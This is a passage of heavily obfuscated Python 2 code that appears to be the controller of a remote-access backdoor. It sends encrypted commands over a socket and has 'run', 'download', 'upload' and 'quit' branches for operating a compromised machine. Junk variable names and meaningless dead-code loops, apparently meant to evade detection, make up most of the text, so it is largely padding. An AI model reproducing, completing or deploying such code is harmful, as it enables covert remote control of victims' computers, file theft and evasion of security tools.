                yEyqDEZdPmMDPnkQxPHzNiJFFvvIOiPmPOyqpSoAFSSNRGQnBOGoqHPHAyJQqIm = 'oQACoDPzuucMDGxmGPEJDEzCIFjpFvJECRBXIQjDGVFGzCGoxSEQsuBCEnpAiGS'
                wyvnGFwFxApzOJctFvXAIBSnCSMnVAPFfCQiqxSMJuCNwnACSsvPNvhDuENiupq = 'JeribCSEDBDBUCHPEkivNQicPStzvxQnrJxHBwugQhfCHzFxOJUoFyxrQyxnpXF'
                IGPqHRGGFfyPwNQwuFCJQxtofEDyfRprzjAJUHGSRoFDRZpQvFCnJBvCcmwyFS = 'viJRQQBmMiyIExtSwPBFuEAZNDBIyFLDTVFzAGlQeFEDuPzlBxLqpCJyZSVSryI'
                uTAQyCCEFYAPxyOQQVIRnjQsHrwnACTNAQAstvGzHERSLrnvtHOIvDDGtsyGpJH = 'BOMSFDIJqSARWHUOPRrDJOAgxxRRxyzClkpPFMBGUXuZDDUBHkuHreYCnLStSFk'
                GQovSGvNPQoySFSFzSBSCHHGCWBsDCpovexSHCDyuuVvXfnQvQVDEIxAuRQDmOJ = 'DRrpZpgLzRhNHFRDRQBfHRSAksCFRSNiPvuZiHgBRIGoxRIHEHErPCRSsRwqLOk'
                QCQPISBHLzFDWlGpJPvbPoNiJzyHNOokFFRzJvmUxmVApnoxIITHzwpVsNRRHNO = [
                        'BFEZGMzDBJSQQFTzvHZnpFAqyXRwCiVxAuPulDuYQRSAWZINCQEDGGESZHztsFG',
                        'JeribCSEDBDBUCHPEkivNQicPStzvxQnrJxHBwugQhfCHzFxOJUoFyxrQyxnpXF',
                        'BOMSFDIJqSARWHUOPRrDJOAgxxRRxyzClkpPFMBGUXuZDDUBHkuHreYCnLStSFk',
                        'IvyIHGBIDzzuPOwUXFABzCSoovNxHkGHzRAJegPEZJrBFGzpyRpExRFsAAwzln'
                ]
                for IHPxGOUJzICInHEtosHxAQOgMhhzJPlGdxANQFvBHyApOIksIHOyRxCopxCyFrI in GQovSGvNPQoySFSFzSBSCHHGCWBsDCpovexSHCDyuuVvXfnQvQVDEIxAuRQDmOJ:
                    for yEyqDEZdPmMDPnkQxPHzNiJFFvvIOiPmPOyqpSoAFSSNRGQnBOGoqHPHAyJQqIm in wyvnGFwFxApzOJctFvXAIBSnCSMnVAPFfCQiqxSMJuCNwnACSsvPNvhDuENiupq:
                        if IGPqHRGGFfyPwNQwuFCJQxtofEDyfRprzjAJUHGSRoFDRZpQvFCnJBvCcmwyFS == uTAQyCCEFYAPxyOQQVIRnjQsHrwnACTNAQAstvGzHERSLrnvtHOIvDDGtsyGpJH:
                            yEyqDEZdPmMDPnkQxPHzNiJFFvvIOiPmPOyqpSoAFSSNRGQnBOGoqHPHAyJQqIm = IHPxGOUJzICInHEtosHxAQOgMhhzJPlGdxANQFvBHyApOIksIHOyRxCopxCyFrI
                        elif uTAQyCCEFYAPxyOQQVIRnjQsHrwnACTNAQAstvGzHERSLrnvtHOIvDDGtsyGpJH == yEyqDEZdPmMDPnkQxPHzNiJFFvvIOiPmPOyqpSoAFSSNRGQnBOGoqHPHAyJQqIm:
                            yEyqDEZdPmMDPnkQxPHzNiJFFvvIOiPmPOyqpSoAFSSNRGQnBOGoqHPHAyJQqIm = GQovSGvNPQoySFSFzSBSCHHGCWBsDCpovexSHCDyuuVvXfnQvQVDEIxAuRQDmOJ
                        else:
                            uTAQyCCEFYAPxyOQQVIRnjQsHrwnACTNAQAstvGzHERSLrnvtHOIvDDGtsyGpJH = GQovSGvNPQoySFSFzSBSCHHGCWBsDCpovexSHCDyuuVvXfnQvQVDEIxAuRQDmOJ
                            for yEyqDEZdPmMDPnkQxPHzNiJFFvvIOiPmPOyqpSoAFSSNRGQnBOGoqHPHAyJQqIm in QCQPISBHLzFDWlGpJPvbPoNiJzyHNOokFFRzJvmUxmVApnoxIITHzwpVsNRRHNO:
                                wyvnGFwFxApzOJctFvXAIBSnCSMnVAPFfCQiqxSMJuCNwnACSsvPNvhDuENiupq = yEyqDEZdPmMDPnkQxPHzNiJFFvvIOiPmPOyqpSoAFSSNRGQnBOGoqHPHAyJQqIm
            except Exception:
                pass
            print JYHYSzrCSNQVvkHqDSjHKVsFvyymjBfCnJQmASxEAzFAAEzZwvtrPnCERyiGlIN
            PQAlkswkESqfroMCtDJtPJoQECVyEPIIytRJEtQETQnOPHDkHvJHMIvOBRSGJsu = 'zCmHOCDtFLNAIxHJQwvttmDzRrzIQnPGEAuCAAsiESJJqvwDyrGQOBGzrHJxixs'
            zzqxJuJzoPxqRwGqqvFEZAFEDrXOFeRwGwFArkFYHESneBOnCsACFzhnpQtRzGy = 'PSkeexjzqwnAQrxlettzDYwHQFDGCExRxHrGmtsevQLSSQmvfAPlHMyfETFEjVq'
            yyzIaExgFwsCHNuIUoCArHRjwpsqCAfqxxGHmAVTcwPJFrFCEAIgRtejYFaGHy = 'rMSdDqsSutDBqEAkhGDpuAQDuAhxCHxAxvAGvrvQJxxwzqyHzFyIiEPmRTqMGnS'
            QSLuSQpHpAvRFYJnwAVyRxnIOHryRRCBSOSpPGJGScOVHRiOYICFAJIGtEoSCCN = 'pRJEpxMJYkACQTCxrjvFGwGWRxjrPAvGEVBFGlCzXBRLyAyEGErrRtGytNQCCx'
            fjBBHjRHYyHGEwwHvICnPSwtDGeeANPrSUEFQzJQFJQvNzCGyNSQPyHIBSDJHAZ = 'LNmIBEHKwkqMzoopNjzsYRrpEdQBhiCIwABkhJhxrCzQjozoECHJDWCDCERECFI'
            nBCGgzOHJFHCzOuCSJaOHyiSuOgGqHzHBqwxgIJDWwHJTmGvcwHQICeztRgrOJy = 'JCrnDjPFAIUPxxvxDEySBfCzCsYHJGCFDpVZFhtAYJOCHHIZEEuRUvOmHiIJmzD'
            if PQAlkswkESqfroMCtDJtPJoQECVyEPIIytRJEtQETQnOPHDkHvJHMIvOBRSGJsu != QSLuSQpHpAvRFYJnwAVyRxnIOHryRRCBSOSpPGJGScOVHRiOYICFAJIGtEoSCCN:
                zzqxJuJzoPxqRwGqqvFEZAFEDrXOFeRwGwFArkFYHESneBOnCsACFzhnpQtRzGy = yyzIaExgFwsCHNuIUoCArHRjwpsqCAfqxxGHmAVTcwPJFrFCEAIgRtejYFaGHy
                for nBCGgzOHJFHCzOuCSJaOHyiSuOgGqHzHBqwxgIJDWwHJTmGvcwHQICeztRgrOJy in QSLuSQpHpAvRFYJnwAVyRxnIOHryRRCBSOSpPGJGScOVHRiOYICFAJIGtEoSCCN:
                    if nBCGgzOHJFHCzOuCSJaOHyiSuOgGqHzHBqwxgIJDWwHJTmGvcwHQICeztRgrOJy != yyzIaExgFwsCHNuIUoCArHRjwpsqCAfqxxGHmAVTcwPJFrFCEAIgRtejYFaGHy:
                        zzqxJuJzoPxqRwGqqvFEZAFEDrXOFeRwGwFArkFYHESneBOnCsACFzhnpQtRzGy = zzqxJuJzoPxqRwGqqvFEZAFEDrXOFeRwGwFArkFYHESneBOnCsACFzhnpQtRzGy
                    else:
                        fjBBHjRHYyHGEwwHvICnPSwtDGeeANPrSUEFQzJQFJQvNzCGyNSQPyHIBSDJHAZ = PQAlkswkESqfroMCtDJtPJoQECVyEPIIytRJEtQETQnOPHDkHvJHMIvOBRSGJsu
            else:
                yyzIaExgFwsCHNuIUoCArHRjwpsqCAfqxxGHmAVTcwPJFrFCEAIgRtejYFaGHy = PQAlkswkESqfroMCtDJtPJoQECVyEPIIytRJEtQETQnOPHDkHvJHMIvOBRSGJsu
                PQAlkswkESqfroMCtDJtPJoQECVyEPIIytRJEtQETQnOPHDkHvJHMIvOBRSGJsu = fjBBHjRHYyHGEwwHvICnPSwtDGeeANPrSUEFQzJQFJQvNzCGyNSQPyHIBSDJHAZ
                if yyzIaExgFwsCHNuIUoCArHRjwpsqCAfqxxGHmAVTcwPJFrFCEAIgRtejYFaGHy == PQAlkswkESqfroMCtDJtPJoQECVyEPIIytRJEtQETQnOPHDkHvJHMIvOBRSGJsu:
                    for nBCGgzOHJFHCzOuCSJaOHyiSuOgGqHzHBqwxgIJDWwHJTmGvcwHQICeztRgrOJy in PQAlkswkESqfroMCtDJtPJoQECVyEPIIytRJEtQETQnOPHDkHvJHMIvOBRSGJsu:
                        if nBCGgzOHJFHCzOuCSJaOHyiSuOgGqHzHBqwxgIJDWwHJTmGvcwHQICeztRgrOJy == yyzIaExgFwsCHNuIUoCArHRjwpsqCAfqxxGHmAVTcwPJFrFCEAIgRtejYFaGHy:
                            yyzIaExgFwsCHNuIUoCArHRjwpsqCAfqxxGHmAVTcwPJFrFCEAIgRtejYFaGHy = PQAlkswkESqfroMCtDJtPJoQECVyEPIIytRJEtQETQnOPHDkHvJHMIvOBRSGJsu
                        else:
                            yyzIaExgFwsCHNuIUoCArHRjwpsqCAfqxxGHmAVTcwPJFrFCEAIgRtejYFaGHy = fjBBHjRHYyHGEwwHvICnPSwtDGeeANPrSUEFQzJQFJQvNzCGyNSQPyHIBSDJHAZ
            continue
            BHBrSpoywDHAvBrWFJRFVGFoutDLkQtOFPGwSoGmsmFuEsSwDtiXwBIoZHlyxRG = 'yRHEHGIJeZmqRyPSNGBEIptOJzxiTINIFHQFxQCpuRCzqxlnswHCovrxexuRZQE'
            AHkGSQsPGJREDpuCHINIxFzyOVDyHtxRVGYGpCZQGHSyzPsvRlCCkRESuQQFDSs = 'CCFSBLDIneplwMDlTQSDISxDUqAJJmFtFhJzfZBHHqYixCBtSGSlCGQfHlSEOUB'
            zqGFmMyGRHATRCCjvPsJjvPxlyzUHMwqAEnGkDDDGTAOxqQJdFxMhuGrkCPsuFl = 'vEVHIsFEgEwImERoxpRRqCoZxIgtNsDyIzDurCOsplZCNiQHAvyvOppPqMmsFJu'
            DSyGxGFFuPGqQxILZyyuuHyvDBzOCyovroMnUpGRyyHqHAlNoAqNDxRCRJZUABH = 'CWIAVBzFASwrODBDGSmuxIOpSGyDwkFzuFCwLwOzrCAwsTCPLvRVDvFRhErDymG'
            HQSCBiAyHEPNFFRJsSzDxzwLxqHWYHHDCtGcRzrjCVGRHEarzuwxizHEMtwjDPS = 'FRBGCRNxItXcJYkCEUyRviERzDsTFxArhPHeCxFwDxGgCvgGqlYPszEDHvCvmrG'
            QEvyrUNjuzwhSFSiREGQDsJINIMDBzHPEGtyiISHnFkXCoPRJuUCAzJHttXEQEH = 'nxFpDHOJJGIeszizGDyhAynPSpusuIDSqBQBDymqHyDGJIGuNuQQwvlIFHRfFY'
            if BHBrSpoywDHAvBrWFJRFVGFoutDLkQtOFPGwSoGmsmFuEsSwDtiXwBIoZHlyxRG != DSyGxGFFuPGqQxILZyyuuHyvDBzOCyovroMnUpGRyyHqHAlNoAqNDxRCRJZUABH:
                AHkGSQsPGJREDpuCHINIxFzyOVDyHtxRVGYGpCZQGHSyzPsvRlCCkRESuQQFDSs = zqGFmMyGRHATRCCjvPsJjvPxlyzUHMwqAEnGkDDDGTAOxqQJdFxMhuGrkCPsuFl
                for QEvyrUNjuzwhSFSiREGQDsJINIMDBzHPEGtyiISHnFkXCoPRJuUCAzJHttXEQEH in DSyGxGFFuPGqQxILZyyuuHyvDBzOCyovroMnUpGRyyHqHAlNoAqNDxRCRJZUABH:
                    if QEvyrUNjuzwhSFSiREGQDsJINIMDBzHPEGtyiISHnFkXCoPRJuUCAzJHttXEQEH != zqGFmMyGRHATRCCjvPsJjvPxlyzUHMwqAEnGkDDDGTAOxqQJdFxMhuGrkCPsuFl:
                        AHkGSQsPGJREDpuCHINIxFzyOVDyHtxRVGYGpCZQGHSyzPsvRlCCkRESuQQFDSs = AHkGSQsPGJREDpuCHINIxFzyOVDyHtxRVGYGpCZQGHSyzPsvRlCCkRESuQQFDSs
                    else:
                        HQSCBiAyHEPNFFRJsSzDxzwLxqHWYHHDCtGcRzrjCVGRHEarzuwxizHEMtwjDPS = BHBrSpoywDHAvBrWFJRFVGFoutDLkQtOFPGwSoGmsmFuEsSwDtiXwBIoZHlyxRG
            else:
                zqGFmMyGRHATRCCjvPsJjvPxlyzUHMwqAEnGkDDDGTAOxqQJdFxMhuGrkCPsuFl = BHBrSpoywDHAvBrWFJRFVGFoutDLkQtOFPGwSoGmsmFuEsSwDtiXwBIoZHlyxRG
                BHBrSpoywDHAvBrWFJRFVGFoutDLkQtOFPGwSoGmsmFuEsSwDtiXwBIoZHlyxRG = HQSCBiAyHEPNFFRJsSzDxzwLxqHWYHHDCtGcRzrjCVGRHEarzuwxizHEMtwjDPS
                if zqGFmMyGRHATRCCjvPsJjvPxlyzUHMwqAEnGkDDDGTAOxqQJdFxMhuGrkCPsuFl == BHBrSpoywDHAvBrWFJRFVGFoutDLkQtOFPGwSoGmsmFuEsSwDtiXwBIoZHlyxRG:
                    for QEvyrUNjuzwhSFSiREGQDsJINIMDBzHPEGtyiISHnFkXCoPRJuUCAzJHttXEQEH in BHBrSpoywDHAvBrWFJRFVGFoutDLkQtOFPGwSoGmsmFuEsSwDtiXwBIoZHlyxRG:
                        if QEvyrUNjuzwhSFSiREGQDsJINIMDBzHPEGtyiISHnFkXCoPRJuUCAzJHttXEQEH == zqGFmMyGRHATRCCjvPsJjvPxlyzUHMwqAEnGkDDDGTAOxqQJdFxMhuGrkCPsuFl:
                            zqGFmMyGRHATRCCjvPsJjvPxlyzUHMwqAEnGkDDDGTAOxqQJdFxMhuGrkCPsuFl = BHBrSpoywDHAvBrWFJRFVGFoutDLkQtOFPGwSoGmsmFuEsSwDtiXwBIoZHlyxRG
                        else:
                            zqGFmMyGRHATRCCjvPsJjvPxlyzUHMwqAEnGkDDDGTAOxqQJdFxMhuGrkCPsuFl = HQSCBiAyHEPNFFRJsSzDxzwLxqHWYHHDCtGcRzrjCVGRHEarzuwxizHEMtwjDPS
        nFmlnfrAqJsHJEdCHuJRnBqHtCMIjjOFnPOzHFBHmuQEEwrPozywSPnAGBBuXuF.send(SPuftCNRrBmEOHCGpJsNAREOsyuxkCNDSBrSxGriSZOARHCTADxEyFHFPgOgFtg(kNILJPHGIxQFFZvIQwIJoxkJpJBSOyHSHHDNSMGvuACXQGzouVvDIASGSBEeFBC, OEHyrENnDYkzJAIuCNBSRHxHyHHmxVnEGOPHyDPuWBCEHGvzvIGpMCQowNGtrSG))
        if qCDIlGZmYEEvlWHHSSxFPVQAdhJQwGEmGQrXGEiuVsEJIXtcEQoQDVtINvDmEzy == 'quit':
            nFDGySfSCGPGyvoPoWDjzespHzIrFxytIGGMDPzFkSRpgCJInqIqcEQWJFAqzQz = 'nxGzGCyZSrrGFFmSzQyMBGszDIZVxBVAPCWsDFwuljyzwJffpJsIlOCHQrotzBG'
            hpwpHIxHGEGxOetIFpyEowxyyzylMjPyJsSRCOzDYqmBBDFwBtHGSDBCHBvVGPr = 'SJJGhDsIOJSTECeyNwrvHPvJsJxQIQNCQIypemcSixwQIESFCIKSJehPCwPPxNY'
            RkSoDRMrGIQFVHSSSyQRqPBEztSQUIspmBSvEIIIywDxAFRQXpUGKoLJOYDwINH = 'sRtyfgbvIPJvIHCJRyIpGJPSGHirvqEIGSNndGwysCzxAETytECTxxBIWdRiNJP'
            GCJHpFlCQECBJAypnqyBJqNJXHDoCiAEGIusDPrwykRyOoSbRrgpDJIAZAOVHbH = 'IEwGDEqgRuJQyTuYyziDIHxBDuCFZrEEIFIFuuHIqiEQOEwvJQDAMSMzUJQjswA'
            qXJSAzEyCjBJJtBLDFBoPSGwtZEsthLGswHmHIyKDqOMnFVqZxunZAKqAjuZUB = 'ytPGVAOyHASCVsRAUGADLorCqNAQFlApPvSyFBNGwSGAsQvEsoslJuQRCcHiOtR'
            IGsgRoRrUSCRQCimARAJjtzUmsqnrChRICJDGiSTzBApDDGODUqJrHpuFIxRSJO = 'ZzGmylDxnHNuuIpqwRSuqvDooXHTWKHxDESlynClqHmJnpISSSEQSsFmmRAwJDP'
            if RkSoDRMrGIQFVHSSSyQRqPBEztSQUIspmBSvEIIIywDxAFRQXpUGKoLJOYDwINH == GCJHpFlCQECBJAypnqyBJqNJXHDoCiAEGIusDPrwykRyOoSbRrgpDJIAZAOVHbH:
                for IGsgRoRrUSCRQCimARAJjtzUmsqnrChRICJDGiSTzBApDDGODUqJrHpuFIxRSJO in qXJSAzEyCjBJJtBLDFBoPSGwtZEsthLGswHmHIyKDqOMnFVqZxunZAKqAjuZUB:
                    if IGsgRoRrUSCRQCimARAJjtzUmsqnrChRICJDGiSTzBApDDGODUqJrHpuFIxRSJO == GCJHpFlCQECBJAypnqyBJqNJXHDoCiAEGIusDPrwykRyOoSbRrgpDJIAZAOVHbH:
                        qXJSAzEyCjBJJtBLDFBoPSGwtZEsthLGswHmHIyKDqOMnFVqZxunZAKqAjuZUB = nFDGySfSCGPGyvoPoWDjzespHzIrFxytIGGMDPzFkSRpgCJInqIqcEQWJFAqzQz
                    else:
                        GCJHpFlCQECBJAypnqyBJqNJXHDoCiAEGIusDPrwykRyOoSbRrgpDJIAZAOVHbH = hpwpHIxHGEGxOetIFpyEowxyyzylMjPyJsSRCOzDYqmBBDFwBtHGSDBCHBvVGPr
            IyQBkHZzzQArtBOPSywnHwuBSJeEvICCIFDvYpHJMEprXJpuBDhwGrPOUQyMyYE.close()
            sys.exit(0)
        elif qCDIlGZmYEEvlWHHSSxFPVQAdhJQwGEmGQrXGEiuVsEJIXtcEQoQDVtINvDmEzy == 'run':
            SqlPwfiRkImBvQoGHJrMzpOHuRFyOfqBwFtSlywOQfPEEmHIFFNgBFDnIASxjlD = 'sywqARECAvRSqSyGCJOpFripIyHoVAoFxMzHDCmHYwuIPePBICNvBFnxFhJuNzS'
            JEvwBtSmDHQOkDEuxHRxAsnBIFXSHSJqEZQJIfSjSJRCSwyNzAmXRIzVRVGSSSX = 'HEOmJFISvlQxBYRHPQwwGiAEEFDHTxjquQPOUzLSBHRUSpEIwGmSnLiGRCVQpGB'
            CDGCSrzEGOmqImzwAFJNMStgvLBzEKIQRGPfnxywlWGumPGrXuDREDIGqWFzQCB = 'sFyPPrGHuqtIvouAIRCPTMyGxpGwXQFRsJFJRvphygnFyEBnwvnDADsAJtWxovW'
            DPwbFItCgiICCzEFFHekfIyPiWtwSyPBjArFqrhGkrIwJEJCITfEoEGtjHzIFPN = 'EOvOuvDJNEGzUDCJEzqvIrqWqSJCGGPtOSeJAjJQGISHIQHwWFGLOFQbSGOX'
            DQEqyhBJXMuzOmxDoFFfyKXkUBqJmItcHEvCGDgzzspoEJIlFJrwdCzMtnQfRHu = 'XGzbHNyPCEDDSBZsMmAxmTruFGVCCpFLUkuVDQwBBYujCvjFtFLHIPppuYyDJyj'
            if SqlPwfiRkImBvQoGHJrMzpOHuRFyOfqBwFtSlywOQfPEEmHIFFNgBFDnIASxjlD in JEvwBtSmDHQOkDEuxHRxAsnBIFXSHSJqEZQJIfSjSJRCSwyNzAmXRIzVRVGSSSX:
                SqlPwfiRkImBvQoGHJrMzpOHuRFyOfqBwFtSlywOQfPEEmHIFFNgBFDnIASxjlD = DQEqyhBJXMuzOmxDoFFfyKXkUBqJmItcHEvCGDgzzspoEJIlFJrwdCzMtnQfRHu
                if JEvwBtSmDHQOkDEuxHRxAsnBIFXSHSJqEZQJIfSjSJRCSwyNzAmXRIzVRVGSSSX in CDGCSrzEGOmqImzwAFJNMStgvLBzEKIQRGPfnxywlWGumPGrXuDREDIGqWFzQCB:
                    JEvwBtSmDHQOkDEuxHRxAsnBIFXSHSJqEZQJIfSjSJRCSwyNzAmXRIzVRVGSSSX = DPwbFItCgiICCzEFFHekfIyPiWtwSyPBjArFqrhGkrIwJEJCITfEoEGtjHzIFPN
            elif JEvwBtSmDHQOkDEuxHRxAsnBIFXSHSJqEZQJIfSjSJRCSwyNzAmXRIzVRVGSSSX in SqlPwfiRkImBvQoGHJrMzpOHuRFyOfqBwFtSlywOQfPEEmHIFFNgBFDnIASxjlD:
                CDGCSrzEGOmqImzwAFJNMStgvLBzEKIQRGPfnxywlWGumPGrXuDREDIGqWFzQCB = JEvwBtSmDHQOkDEuxHRxAsnBIFXSHSJqEZQJIfSjSJRCSwyNzAmXRIzVRVGSSSX
                if CDGCSrzEGOmqImzwAFJNMStgvLBzEKIQRGPfnxywlWGumPGrXuDREDIGqWFzQCB in JEvwBtSmDHQOkDEuxHRxAsnBIFXSHSJqEZQJIfSjSJRCSwyNzAmXRIzVRVGSSSX:
                    JEvwBtSmDHQOkDEuxHRxAsnBIFXSHSJqEZQJIfSjSJRCSwyNzAmXRIzVRVGSSSX = DQEqyhBJXMuzOmxDoFFfyKXkUBqJmItcHEvCGDgzzspoEJIlFJrwdCzMtnQfRHu
            ASuFZFHGHVABSxJoXDEsSCLzSHatzrNFPPuqPFIRGuBvHGJzOqwlvHJFExMoNzE = nFmlnfrAqJsHJEdCHuJRnBqHtCMIjjOFnPOzHFBHmuQEEwrPozywSPnAGBBuXuF.recv(4096)
            print uSIByGHznHHkkvwwPIVnIDFmmvPIHMRIyINSxzREPRIJQsuHBAIBMOtBQvIltFA(ASuFZFHGHVABSxJoXDEsSCLzSHatzrNFPPuqPFIRGuBvHGJzOqwlvHJFExMoNzE, OEHyrENnDYkzJAIuCNBSRHxHyHHmxVnEGOPHyDPuWBCEHGvzvIGpMCQowNGtrSG).rstrip()
        elif qCDIlGZmYEEvlWHHSSxFPVQAdhJQwGEmGQrXGEiuVsEJIXtcEQoQDVtINvDmEzy == 'download':
            bgfGFJtkSwlIhCERQAJCDlMHJAmWtGuvpARIzRJBOHuGzwSSqFSAoqGCtwGJtFG = 'WGIRyPJIwvJPGNQCVPJECpRQrXJyoEoqNHEoHvHkNBRQDzPJswhyFnxGERFDBOW'
            DGtvIFRwtAzpnFtWDYyxWRPqiuYIBrwQDCyiRGgoIPTDJzuyCBlFACDSwJSOHZO = 'NGIHqInJPrstxGJPzSxyXEvJFHVRYxlvqsqwFEDbzAnTIPRFQtBlFFSqhFnzZAP'
            uFoIFwEoSPAJFEuHuJrFCGCpkZEqxxQIgoUJsStGDSLIpHoCwHzyyADusJyRDIC = 'qQxJzJsNjPyoRglEsBfDvQhCmfOoFxCvAVPwJGQIPGCDFTGABqHrPEfJRyjjOS'
            CAPENFSYuxFNQyROEmOkiSvmFCxuIfHxcAtFJDwyizHzPyEFUOECAGBTDzIEDzL = 'bEPzvFCTsjFHnsxiIUBvRFJRuwJQnxmixxNJrkIARfSJfoCGjIqyvoxOZGBQsy'
            syHfCGhZCAHSSUvjPrJRCnEHUCgJRqkHMdsFTGfEvFEIIobvGBICvjEWRtZJuxz = 'OSsqohSPnARNJIBGsIIGbJRIvqHBSPytIroIRZINJsNmwRuQEHywDEnJHsyyTnk'
            BRMpBYGwJsqPzjImHvdYDFzMrCIHCskCmPBSHpIJSovFOCANIxARIwFEXuQsGox = 'OlPqrKRzzYxzEPIASOCzwAFSTBGxQOESOrAiHzkkvSrFTuCFJutyEADShvGlLT'
            if bgfGFJtkSwlIhCERQAJCDlMHJAmWtGuvpARIzRJBOHuGzwSSqFSAoqGCtwGJtFG != CAPENFSYuxFNQyROEmOkiSvmFCxuIfHxcAtFJDwyizHzPyEFUOECAGBTDzIEDzL:
                DGtvIFRwtAzpnFtWDYyxWRPqiuYIBrwQDCyiRGgoIPTDJzuyCBlFACDSwJSOHZO = uFoIFwEoSPAJFEuHuJrFCGCpkZEqxxQIgoUJsStGDSLIpHoCwHzyyADusJyRDIC
                for BRMpBYGwJsqPzjImHvdYDFzMrCIHCskCmPBSHpIJSovFOCANIxARIwFEXuQsGox in CAPENFSYuxFNQyROEmOkiSvmFCxuIfHxcAtFJDwyizHzPyEFUOECAGBTDzIEDzL:
                    if BRMpBYGwJsqPzjImHvdYDFzMrCIHCskCmPBSHpIJSovFOCANIxARIwFEXuQsGox != uFoIFwEoSPAJFEuHuJrFCGCpkZEqxxQIgoUJsStGDSLIpHoCwHzyyADusJyRDIC:
                        DGtvIFRwtAzpnFtWDYyxWRPqiuYIBrwQDCyiRGgoIPTDJzuyCBlFACDSwJSOHZO = DGtvIFRwtAzpnFtWDYyxWRPqiuYIBrwQDCyiRGgoIPTDJzuyCBlFACDSwJSOHZO
                    else:
                        syHfCGhZCAHSSUvjPrJRCnEHUCgJRqkHMdsFTGfEvFEIIobvGBICvjEWRtZJuxz = bgfGFJtkSwlIhCERQAJCDlMHJAmWtGuvpARIzRJBOHuGzwSSqFSAoqGCtwGJtFG
            else:
                uFoIFwEoSPAJFEuHuJrFCGCpkZEqxxQIgoUJsStGDSLIpHoCwHzyyADusJyRDIC = bgfGFJtkSwlIhCERQAJCDlMHJAmWtGuvpARIzRJBOHuGzwSSqFSAoqGCtwGJtFG
                bgfGFJtkSwlIhCERQAJCDlMHJAmWtGuvpARIzRJBOHuGzwSSqFSAoqGCtwGJtFG = syHfCGhZCAHSSUvjPrJRCnEHUCgJRqkHMdsFTGfEvFEIIobvGBICvjEWRtZJuxz
                if uFoIFwEoSPAJFEuHuJrFCGCpkZEqxxQIgoUJsStGDSLIpHoCwHzyyADusJyRDIC == bgfGFJtkSwlIhCERQAJCDlMHJAmWtGuvpARIzRJBOHuGzwSSqFSAoqGCtwGJtFG:
                    for BRMpBYGwJsqPzjImHvdYDFzMrCIHCskCmPBSHpIJSovFOCANIxARIwFEXuQsGox in bgfGFJtkSwlIhCERQAJCDlMHJAmWtGuvpARIzRJBOHuGzwSSqFSAoqGCtwGJtFG:
                        if BRMpBYGwJsqPzjImHvdYDFzMrCIHCskCmPBSHpIJSovFOCANIxARIwFEXuQsGox == uFoIFwEoSPAJFEuHuJrFCGCpkZEqxxQIgoUJsStGDSLIpHoCwHzyyADusJyRDIC:
                            uFoIFwEoSPAJFEuHuJrFCGCpkZEqxxQIgoUJsStGDSLIpHoCwHzyyADusJyRDIC = bgfGFJtkSwlIhCERQAJCDlMHJAmWtGuvpARIzRJBOHuGzwSSqFSAoqGCtwGJtFG
                        else:
                            uFoIFwEoSPAJFEuHuJrFCGCpkZEqxxQIgoUJsStGDSLIpHoCwHzyyADusJyRDIC = syHfCGhZCAHSSUvjPrJRCnEHUCgJRqkHMdsFTGfEvFEIIobvGBICvjEWRtZJuxz
            for HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ in action.split():
                yFlAlCRBWRBCPHSJHvCGDGueRRXAWICwxHRQkhXAWyvGJwGIpCxBvuYIoDPvyty = 'uunSAxuqEjkzZQmvnVJAwOFxXvZyRJxzAvxCJIuGsOxFJDFSPQCCkoHVlEFGFFe'
                ICSHNDzGQJBJCvnGGiFvSbCGCrwSrHtRwUQGyxOQvrBDvMQuIDIIJxUSMeHMxEq = 'QMwJWvGjtvFuZAUDNRBpOJPHAhAJRhDQARtJVyHxwktOExGzuqRIxlABCUNABw'
                uqDmuUvkJyvSUDuKmZcxGuxIzVFEsDGxGENoNJGIAQAvPIDUHhCPBoODVPFoTuC = 'RpVPwtqSHJIISIGYIFwFRYXCRQQAHCvHEFFQJltSiFHrGFOoqSAnBDkkuPEPHsv'
                if yFlAlCRBWRBCPHSJHvCGDGueRRXAWICwxHRQkhXAWyvGJwGIpCxBvuYIoDPvyty == ICSHNDzGQJBJCvnGGiFvSbCGCrwSrHtRwUQGyxOQvrBDvMQuIDIIJxUSMeHMxEq:
                    uqDmuUvkJyvSUDuKmZcxGuxIzVFEsDGxGENoNJGIAQAvPIDUHhCPBoODVPFoTuC = 'RpVPwtqSHJIISIGYIFwFRYXCRQQAHCvHEFFQJltSiFHrGFOoqSAnBDkkuPEPHsv'
                    uqDmuUvkJyvSUDuKmZcxGuxIzVFEsDGxGENoNJGIAQAvPIDUHhCPBoODVPFoTuC = yFlAlCRBWRBCPHSJHvCGDGueRRXAWICwxHRQkhXAWyvGJwGIpCxBvuYIoDPvyty
                else:
                    uqDmuUvkJyvSUDuKmZcxGuxIzVFEsDGxGENoNJGIAQAvPIDUHhCPBoODVPFoTuC = 'RpVPwtqSHJIISIGYIFwFRYXCRQQAHCvHEFFQJltSiFHrGFOoqSAnBDkkuPEPHsv'
                    uqDmuUvkJyvSUDuKmZcxGuxIzVFEsDGxGENoNJGIAQAvPIDUHhCPBoODVPFoTuC = 'uunSAxuqEjkzZQmvnVJAwOFxXvZyRJxzAvxCJIuGsOxFJDFSPQCCkoHVlEFGFFe'
                HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ = HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ.strip()
                vIRwVSrRIoGDyAzHuoJjtNEGPQATAHFuAoCIjSvXYCAHcDGzOHiuVDIDtwoJGpy(nFmlnfrAqJsHJEdCHuJRnBqHtCMIjjOFnPOzHFBHmuQEEwrPozywSPnAGBBuXuF, HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ, OEHyrENnDYkzJAIuCNBSRHxHyHHmxVnEGOPHyDPuWBCEHGvzvIGpMCQowNGtrSG)
        elif qCDIlGZmYEEvlWHHSSxFPVQAdhJQwGEmGQrXGEiuVsEJIXtcEQoQDVtINvDmEzy == 'upload':
            vAIBTvPFNSMCvvkASABvEjNkxVURyCVtXFRVwqFuMCPqCSSwcEHxIrxWYCSEqIp = 'RPeSGBSkODuXkzFQuAfUwZArNsGIyBySoGrnSyRIGLMdGvXDECmEEFJJDNwPvtI'
            VIuvTQGAQkQutCtaslCpsJIReSEPPxIEASFQbEyHmtGPJiCzBMvSOxOIHEpxBH = 'JKazSNfIvsCvWEvVBpmyICvGoPxrVUDEBGHQjRwnDzBSADQjLOtRmSypDZAGBBK'
